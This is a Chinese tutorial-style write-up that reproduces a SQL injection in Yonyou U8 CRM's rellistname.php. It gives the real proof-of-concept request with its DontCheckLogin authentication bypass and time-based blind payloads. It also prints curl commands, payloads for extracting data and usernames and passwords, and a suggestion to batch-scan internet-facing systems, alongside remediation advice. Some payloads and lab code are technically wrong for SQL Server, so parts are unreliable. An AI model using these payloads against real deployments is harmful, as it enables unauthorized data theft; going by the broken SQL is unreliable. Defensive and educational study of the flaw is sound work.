1. 项目概述:一次针对企业级应用的SQL注入漏洞实战复现
最近在梳理一些企业级应用的历史漏洞时,用友U8 CRM系统的一个老漏洞引起了我的注意。这个漏洞位于/config/rellistname.php文件中,涉及多个参数存在SQL注入风险。虽然这个漏洞的POC(概念验证代码)在网络上已经流传了一段时间,但很多刚入门安全测试的朋友,或者企业内部负责安全自查的运维人员,可能对如何完整、安全地复现这个漏洞,并理解其背后的原理和影响,还存在一些疑问。今天,我就以一个从业者的视角,带大家从头到尾走一遍这个漏洞的复现过程,重点不在于“攻击”,而在于“理解”和“防御”。我们会拆解漏洞成因,搭建一个安全的测试环境,手把手演示漏洞利用,并深入探讨在企业实际场景中,这类漏洞可能带来的真实风险以及加固方案。无论你是想学习Web安全测试的初学者,还是负责用友U8系统维护的IT人员,这篇文章都能给你带来直接的参考价值。
2. 漏洞背景与核心原理深度解析
2.1 用友U8 CRM系统架构浅析
要理解这个漏洞,首先得对用友U8 CRM有个基本认识。用友U8+是一款面向中小型企业的ERP(企业资源计划)套件,其CRM(客户关系管理)模块是其中的重要组成部分,用于管理客户、销售、市场等活动。这类系统通常采用B/S架构,即浏览器/服务器模式,后端使用PHP、Java或.NET等语言开发,前端通过Web页面与用户交互。/config/rellistname.php这个文件路径,从命名上看,它位于config目录下,很可能是一个用于处理“关联列表名称”的配置性或功能性脚本。在实际开发中,config目录有时会存放一些包含通用函数或直接处理业务逻辑的脚本,这些脚本可能被其他页面通过include或require方式调用。
注意:很多开发人员会认为
config目录下的文件不直接对外提供服务,或者认为其访问需要特定前置条件,从而放松了对这些文件输入参数的安全校验,这是导致此类目录下文件成为漏洞高发区的重要原因之一。
2.2 SQL注入漏洞的本质与rellistname.php的缺陷
SQL注入的根本原因,是程序将用户输入的数据,未经充分过滤或转义,直接拼接到了SQL查询语句中。攻击者通过构造特殊的输入,可以改变原有SQL语句的逻辑,执行非预期的数据库操作。
我们来看漏洞POC中的关键参数:GET /config/rellistname.php?DontCheckLogin=1&objType=1&reportID=1+wAiTFOR+DeLAy'0:0:4'--+-
这里有几个需要拆解的点:
DontCheckLogin=1:这个参数名直译为“不要检查登录”。这很可能是一个“后门”参数或调试开关,用于绕过正常的会话验证流程。在代码中,可能存在类似if($_GET[‘DontCheckLogin’] != 1) { check_session(); }的逻辑。设置此参数为1,使得攻击者无需持有有效会话Cookie(如PHPSESSID)即可访问该脚本的核心功能,极大地降低了利用门槛。objType和reportID:这两个是业务参数,从命名推测,objType可能表示对象类型(如客户、联系人、商机),reportID表示报告或列表的ID。漏洞就出现在对reportID参数的处理上。- 注入Payload:
1+wAiTFOR+DeLAy'0:0:4'--+-:这是一个典型的基于时间盲注的Payload。1+:原意可能是reportID=1,加号+在URL中代表空格,但有时也被用于拼接。wAiTFOR+DeLAy'0:0:4':核心注入部分。它尝试执行一个类似WAITFOR DELAY '0:0:4'的SQL Server语句,意思是让数据库等待4秒。这里的大小写混合(wAiTFOR)可能是一种简单的绕过手段。--+-:SQL注释符--,用于注释掉后续的SQL代码,+同样是空格或拼接符,-可能是为了闭合某个单引号或构成有效字符。这确保了注入的语句能正确嵌入到原SQL中。
推测后端PHP代码可能如下(还原漏洞场景):
// /config/rellistname.php $dontCheck = $_GET['DontCheckLogin']; if($dontCheck != 1) { // 检查用户登录状态 session_start(); if(!isset($_SESSION['user_id'])) { die('未登录'); } } $objType = $_GET['objType']; $reportID = $_GET['reportID']; // 危险!未经过滤直接使用 // 拼接SQL语句 $sql = "SELECT list_name FROM some_report_table WHERE obj_type = '$objType' AND report_id = '$reportID'"; $result = mssql_query($sql); // 假设使用MSSQL扩展 // ... 后续处理 ...当reportID传入1' AND WAITFOR DELAY '0:0:4'--时,最终执行的SQL变为:
SELECT list_name FROM some_report_table WHERE obj_type = '1' AND report_id = '1' AND WAITFOR DELAY '0:0:4'--'这样,如果页面响应时间明显延迟约4秒,就证实了SQL注入漏洞的存在,并且可以执行任意SQL语句。
3. 安全复现环境搭建与工具准备
重要声明:以下所有操作必须在您拥有完全控制权的本地测试环境或授权测试的靶场中进行。未经授权对任何线上系统进行测试是非法行为。
3.1 测试环境搭建思路
由于我们无法获取真实的用友U8 CRM安装包,复现此漏洞的核心是模拟漏洞存在的代码环境。有两种思路:
- 搭建近似环境:安装一套PHP+MSSQL的环境,然后根据漏洞描述,编写一个存在同样漏洞的
rellistname.php脚本。 - 使用漏洞靶场:寻找包含此漏洞的在线靶场或自行搭建的漏洞演示平台。
这里我们选择第一种,因为它能让我们更深入地理解代码。我们假设后端数据库是Microsoft SQL Server(从WAITFOR DELAY语句推测),这也是企业环境中常见的选择。
所需工具清单:
- Web服务器:XAMPP(集成Apache、PHP、MySQL)或单独安装的Apache/Nginx + PHP。我们需要确保PHP支持连接MSSQL。
- 数据库:Microsoft SQL Server Express(免费版)或使用Docker运行一个MSSQL容器。
- PHP MSSQL驱动:对于较新的PHP版本(7+),通常使用
sqlsrv或pdo_sqlsrv扩展。 - 浏览器:Chrome、Firefox等,用于发送请求。
- 代理工具/命令行工具:Burp Suite、Postman或Curl,用于精确构造和发送HTTP请求。
3.2 模拟漏洞代码编写
我们在本地的Web根目录(如htdocs)下创建/config/rellistname.php文件,写入以下模拟漏洞的代码:
<?php // 模拟用友U8 CRM /config/rellistname.php 漏洞 header('Content-Type: text/plain; charset=utf-8'); // 1. 模拟 DontCheckLogin 绕过 $dontCheck = isset($_GET['DontCheckLogin']) ? intval($_GET['DontCheckLogin']) : 0; if ($dontCheck != 1) { // 模拟登录检查,这里简单判断一个不存在的session if (empty($_SESSION['模拟用户'])) { die("错误:请先登录系统。\n"); } } echo "[+] 登录检查已绕过。\n"; // 2. 获取未经过滤的参数(漏洞点!) $objType = isset($_GET['objType']) ? $_GET['objType'] : ''; $reportID = isset($_GET['reportID']) ? $_GET['reportID'] : ''; // 危险!直接使用 // 3. 模拟数据库连接(这里需要你配置正确的连接信息) $serverName = "localhost\SQLEXPRESS"; // 你的MSSQL服务器实例名 $connectionInfo = array( "Database"=>"TestDB", "UID"=>"sa", "PWD"=>"YourStrongPassword"); $conn = sqlsrv_connect($serverName, $connectionInfo); if ($conn === false) { die(print_r(sqlsrv_errors(), true)); } echo "[+] 数据库连接成功。\n"; // 4. 构造存在漏洞的SQL语句 $sql = "SELECT '模拟列表名称' as list_name FROM DUAL WHERE 1=1 "; // 简化查询,方便观察 if (!empty($objType)) { $sql .= " AND obj_type = '$objType'"; // 参数拼接 } if (!empty($reportID)) { $sql .= " AND report_id = '$reportID'"; // 漏洞点:$reportID未过滤直接拼接 } echo "[*] 执行的SQL语句: " . $sql . "\n"; // 5. 执行查询 $stmt = sqlsrv_query($conn, $sql); if ($stmt === false) { echo "[-] 查询执行失败: " . print_r(sqlsrv_errors(), true) . "\n"; } else { echo "[+] 查询执行成功。\n"; while ($row = sqlsrv_fetch_array($stmt, SQLSRV_FETCH_ASSOC)) { print_r($row); } sqlsrv_free_stmt($stmt); } sqlsrv_close($conn); ?>环境配置关键点:
- 确保PHP已启用
sqlsrv扩展。在php.ini中取消注释或添加extension=php_sqlsrv_xx_ts.dll(xx代表版本)。 - 在MSSQL中创建一个测试数据库
TestDB,不需要创建表,因为我们的查询是SELECT ... FROM DUAL(Oracle语法,MSSQL中可用SELECT '模拟列表名称' as list_name),仅用于验证语句执行。 - 修改代码中的数据库连接信息(服务器名、用户名、密码)以匹配你的环境。
4. 漏洞复现实操与利用链分析
4.1 基础验证:时间盲注复现
环境准备好后,我们通过浏览器或Curl来验证漏洞。
步骤1:正常访问(应被拦截)访问http://localhost/config/rellistname.php?objType=1&reportID=1预期结果:应显示“错误:请先登录系统。”,因为未传DontCheckLogin=1。
步骤2:绕过登录检查访问http://localhost/config/rellistname.php?DontCheckLogin=1&objType=1&reportID=1预期结果:显示连接成功,并打印出执行的SQL语句:SELECT ... AND obj_type = '1' AND report_id = '1'。这说明DontCheckLogin参数生效。
步骤3:触发时间盲注使用Curl命令,以便更好地观察时间:
curl -s -o /dev/null -w "时间: %{time_total}\n" "http://localhost/config/rellistname.php?DontCheckLogin=1&objType=1&reportID=1%27%20WAITFOR%20DELAY%20%270:0:4%27--"这里对Payload进行了URL编码:'变为%27,空格变为%20。
- 预期结果:命令执行时间会显著增加(约4秒以上),因为数据库执行了
WAITFOR DELAY '0:0:4'。同时,查看Apache或PHP的日志,可能会看到报错(因为拼接后的SQL语法可能有问题),但延迟已经发生,这足以证明注入点存在且可被利用。
步骤4:优化Payload原POC中的Payload1+wAiTFOR+DeLAy'0:0:4'--+-在直接通过浏览器地址栏输入时,+会被解释为空格。但在代码中,$_GET[‘reportID’]获取到的值就是1+wAiTFOR+DeLAy'0:0:4'--+-。为了让我们的模拟环境更兼容,我们可以尝试构造一个能正确闭合单引号的Payload:1' AND WAITFOR DELAY '0:0:4' AND '1'='1对应的URL编码访问:
curl -s -o /dev/null -w "时间: %{time_total}\n" "http://localhost/config/rellistname.php?DontCheckLogin=1&objType=1&reportID=1%27%20AND%20WAITFOR%20DELAY%20%270:0:4%27%20AND%20%271%27=%271"观察响应时间,如果明显延迟,则漏洞复现成功。
4.2 利用链拓展:信息获取与数据泄露
时间盲注证明了漏洞存在,但真正的危害在于数据泄露和系统控制。接下来我们模拟如何利用这个注入点获取信息。
1. 判断当前数据库用户:利用时间盲注的特性,我们可以通过条件判断来逐位获取信息。例如,判断当前用户是否为sa:
1' AND IF(SYSTEM_USER='sa', WAITFOR DELAY '0:0:3', 0) AND '1'='1对应的Payload需要编码。在实际攻击中,攻击者会使用自动化工具(如sqlmap)来高效完成这个过程。
2. 获取数据库名、表名、字段名:原理相同,通过构造条件查询information_schema(SQL Server中为sys.databases,sys.tables,sys.columns)等信息,利用时间差来判断条件真假。 例如,判断第一个数据库名的第一个字符是否为‘a’:
1' AND IF(SUBSTRING(DB_NAME(),1,1)='a', WAITFOR DELAY '0:0:3', 0) AND '1'='13. 数据导出:一旦知道了表结构,就可以构造联合查询(Union Select)来直接回显数据,前提是页面会输出查询结果。在我们的模拟代码中,如果注入的语句能成功执行并返回数据,就会被print_r打印出来。例如:
1' UNION SELECT username, password FROM sysusers-- -这可能导致敏感信息泄露。
实操心得:在实际的用友U8 CRM系统中,
rellistname.php文件可能不会直接回显数据库查询结果,或者只返回特定格式的数据(如JSON)。这就需要攻击者根据响应内容的变化(如时间延迟、页面内容差异、错误信息)来推断注入结果,这就是盲注(布尔盲注或时间盲注)。原POC选择时间盲注,正是因为其通用性强,不依赖于页面回显。
5. 漏洞深度挖掘与防御方案探讨
5.1 漏洞根源与代码审计视角
从安全开发的角度看,这个漏洞是多个不良实践叠加的结果:
- 身份验证绕过:
DontCheckLogin这类参数的存在是极其危险的。它可能是开发阶段留下的调试开关,但在生产环境中未被移除。永远不要在生产代码中保留任何可以绕过核心安全机制(如认证、授权)的后门或调试开关。 - 未使用参数化查询或预处理语句:这是SQL注入的“万恶之源”。直接拼接用户输入到SQL字符串中,等于向攻击者敞开了数据库的大门。
- 输入验证缺失:对于
reportID这类应为数字型的参数,没有进行类型强制转换(如intval())或白名单验证。 - 错误信息处理不当:虽然时间盲注不依赖错误回显,但如果网站开启了详细的数据库错误显示,会大大降低攻击难度,让攻击者更快地了解数据库结构和构造Payload。
代码审计时如何发现此类漏洞?
- 全局搜索危险函数:在PHP项目中搜索
mssql_query(),mysql_query(),sqlsrv_query()以及直接使用.进行字符串拼接的SQL语句。 - 追踪用户输入:查看
$_GET,$_POST,$_REQUEST等超全局变量如何流入SQL语句。 - 检查认证绕过:搜索
DontCheckLogin,bypass,debug,test等可能的关键词,检查其逻辑是否绕过了session验证。 - 关注
config,include,admin等目录:这些目录下的脚本常被忽视,却可能包含直接调用的业务逻辑。
5.2 企业级修复与防御建议
如果你是负责用友U8 CRM系统的管理员或开发者,发现此漏洞后应采取以下措施:
紧急缓解措施(治标):
- 访问控制:立即在Web服务器(如Nginx/Apache)层面,对
/config/rellistname.php文件设置访问限制。例如,只允许来自内网特定IP段的请求访问,或者直接临时重命名/删除该文件(需评估业务影响)。 - WAF(Web应用防火墙)规则:在现有的WAF上部署规则,拦截包含
WAITFOR DELAY、SLEEP()、BENCHMARK()等SQL时间函数以及UNION SELECT、INFORMATION_SCHEMA等敏感关键词的请求,特别是对DontCheckLogin参数异常的请求进行阻断。 - 数据库权限最小化:检查连接数据库的应用程序账户权限。确保其只有执行必要操作(如特定表的SELECT)的权限,而非
sa或dbo等高权限账户。这样即使发生注入,危害也有限。
根本解决方案(治本):
- 代码修复:这是最根本的。找到原始的
rellistname.php文件进行修改。- 移除后门:删除或严格限制
DontCheckLogin参数的功能。生产环境不应使用此方式绕过登录。 - 使用参数化查询(预处理语句):这是防御SQL注入的黄金标准。将代码改造为:
// 使用 sqlsrv 预处理 $sql = "SELECT list_name FROM some_report_table WHERE obj_type = ? AND report_id = ?"; $params = array($objType, $reportID); $stmt = sqlsrv_prepare($conn, $sql, $params); if (sqlsrv_execute($stmt)) { ... } - 严格输入验证:对
objType和reportID进行强类型校验。例如,reportID应为正整数:$reportID = isset($_GET['reportID']) ? intval($_GET['reportID']) : 0; if ($reportID <= 0) { die('无效参数'); }
- 移除后门:删除或严格限制
- 安全开发生命周期(SDL):将安全要求嵌入到需求、设计、编码、测试、部署的全流程。对新代码进行代码审计,对旧系统进行定期漏洞扫描和渗透测试。
- 漏洞管理与补丁更新:关注用友官方发布的安全公告和补丁。对于此类已知漏洞,官方可能已发布修复版本或补丁文件,应及时联系供应商获取并更新。
5.3 针对安全测试人员的进阶思考
对于白帽子或安全测试工程师,复现这个漏洞后,可以进一步思考:
- 漏洞组合利用:如果通过此注入点获取了数据库管理员密码的哈希值(假设存储了),并且系统其他部分(如后台登录)存在弱口令或密码复用,是否可能进一步攻入后台?
- 目录遍历与文件发现:
/config/目录下是否还有其他类似的不安全文件?尝试使用目录扫描工具(如Dirsearch, Gobuster)进行发现。 - 框架与组件识别:用友U8 CRM是否使用了其他存在已知漏洞的第三方组件(如特定版本的PHP框架、数据库驱动)?这可以扩大攻击面。
- 编写自动化检测脚本:基于此POC,可以编写一个简单的Python脚本,批量检测互联网上暴露的用友U8 CRM系统是否存在此漏洞,用于企业自身的资产风险排查(必须在法律和授权范围内进行)。
6. 常见问题与排查技巧实录
在复现和后续分析过程中,你可能会遇到以下问题:
Q1:搭建测试环境时,PHP连接MSSQL总是失败。A1:这是最常见的问题。请按以下步骤排查:
- 确认扩展已正确安装:在PHP文件中使用
phpinfo();查看是否有sqlsrv或pdo_sqlsrv模块。 - 检查驱动版本匹配:确保下载的
sqlsrv驱动版本与你的PHP版本(线程安全/非线程安全TS/NTS、x86/x64)、VC运行时版本完全匹配。微软官网提供了详细的版本矩阵。 - 检查SQL Server配置:确保SQL Server已启用TCP/IP协议(通过SQL Server配置管理器),并且防火墙放行了1433端口(默认)。
- 连接字符串:服务器名
localhost\SQLEXPRESS中的实例名SQLEXPRESS需要替换为你自己的实例名。如果使用默认实例,可以只用localhost。
Q2:使用Curl测试时间盲注时,延迟不明显或没有延迟。A2:
- 网络延迟:确保测试在本地或低延迟网络进行。
- Payload构造错误:检查单引号闭合是否正确。使用
echo $sql;在代码中打印出最终执行的SQL语句,复制到MSSQL管理工具(如SSMS)中直接执行,看是否有语法错误或是否真的产生了延迟。 - 数据库权限:连接数据库的用户是否有执行
WAITFOR DELAY的权限?尝试用该用户直接在数据库查询窗口执行该命令。 - PHP执行超时设置:检查
php.ini中的max_execution_time设置,如果设置过小(如30秒),长时间查询可能被中断。
Q3:原POC中的PHPSESSID=bgsesstimeout-这个Cookie有什么作用?A3:在某些版本的用友U8 CRM中,可能存在一种会话处理机制,当会话超时后,会设置一个特定的Cookie值(如bgsesstimeout-)来标识。原POC中携带这个Cookie,可能是为了应对某些额外的、非DontCheckLogin参数控制的会话状态检查,确保请求能够通过所有关卡。在我们的模拟环境中,由于只模拟了DontCheckLogin这一种绕过方式,所以不需要这个Cookie。但在真实漏洞利用时,如果遇到问题,尝试添加或修改Cookie值是一个常见的绕过思路。
Q4:除了rellistname.php,用友U8 CRM还有其他类似漏洞吗?A4:像用友U8这样的大型、模块化企业软件,历史版本中往往存在多个类似漏洞。安全研究人员曾披露过用友U8其他模块(如OA、财务)的SQL注入、文件上传、任意文件读取等漏洞。其根本原因在于早期版本对安全编码规范贯彻不严,存在大量动态SQL拼接。因此,在对这类系统进行安全评估时,应对所有接收外部输入的接口(特别是/api/,/client/,/config/等目录下的文件)进行重点测试。
个人体会:复现一个已知漏洞,远不止是运行一遍POC那么简单。从环境搭建、代码模拟、原理分析到防御思考,每一步都能加深对漏洞本质和Web安全体系的理解。尤其是对于企业级应用,理解其业务逻辑(如CRM中的“关联列表”)、常见的架构缺陷(如调试后门)、以及如何在复杂环境中实施有效防护,这些经验远比单纯掌握一个利用工具更重要。每次复现,都应该问自己:如果我是开发者,如何避免写出这样的代码?如果我是运维,如何第一时间发现和阻断此类攻击?多从防御者角度思考,你的安全能力才会得到真正的提升。